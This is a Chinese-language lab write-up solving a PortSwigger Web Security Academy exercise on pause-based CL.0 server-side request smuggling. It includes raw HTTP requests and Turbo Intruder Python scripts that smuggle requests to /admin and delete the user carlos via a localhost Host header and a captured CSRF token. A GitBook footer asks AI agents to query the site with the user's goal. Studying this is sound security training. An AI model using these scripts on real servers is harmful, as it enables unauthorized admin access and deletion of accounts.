> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# 基于服务器端暂停的请求走私

基于服务器端暂停的请求走私笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 基于暂停的服务器端请求走私

该实验室存在基于暂停的服务器端请求走私攻击漏洞。前端服务器会持续将请求传输到内部服务器，而内部服务器在某些端点上经过一段时间无活动后不会关闭连接。

为了解决该实验室：

* 识别一个去同步向量 **CL.0** 基于暂停，
* 向内部服务器走私一个请求以访问管理面板 **/admin**,
* 然后删除用户 **carlos**.

**注意**/ 某些此类漏洞无法使用 Burp 原生工具利用。需要使用 **Turbo Intruder** 扩展。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fa431f6520180785a11ef1b7de6aa3522a592f2%2Fimage%20(316).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **漏洞点： `/resources`**

通过发送一个请求到 `/resources` 并插入一个很长的暂停（61 秒），可以造成前端和后端之间的去同步：

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

为了利用这种行为，我们使用 **Turbo Intruder**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c5d1a141c6f1c93f60389d72a256b2e40d0df5b%2Fimage%20(317).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **基础脚本**

默认脚本被修改为插入一个 **61 000 毫秒** 的暂停，在发送标记（`pauseMarker`）之后，这样第二个请求会在延迟后被注入：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f4f95bcfd13502fc0000eb856b171d39c7eeef8%2Fimage%20(318).png?alt=media" alt=""><figcaption></figcaption></figure>

分析显示，大约 **62 秒**后有两个请求到达后端，这证实了该漏洞。

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a8efdcbf16a1dc99d6d4d9433a90fccaa8a446c%2Fimage%20(319).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dae672736616ccd4d5c121451c96db18d3b65fea%2Fimage%20(321).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **注入到 `/admin/`**

通过将走私请求调整到管理面板：

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

内部服务器响应 **Found**，证明管理员访问已被强制获取。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c16a686f5094099d6f389ccdea0ff8b0091c46d3%2Fimage%20(324).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

为了绕过 CSRF 保护，将走私请求的主机修改为 **localhost**，并包含捕获到令牌的 POST 请求体：

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

注入会触发内部服务器上走私的 POST，从而删除用户 **carlos**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94776e31c05a9df7f367a150dd2ae011c6cf189b%2Fimage%20(325).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
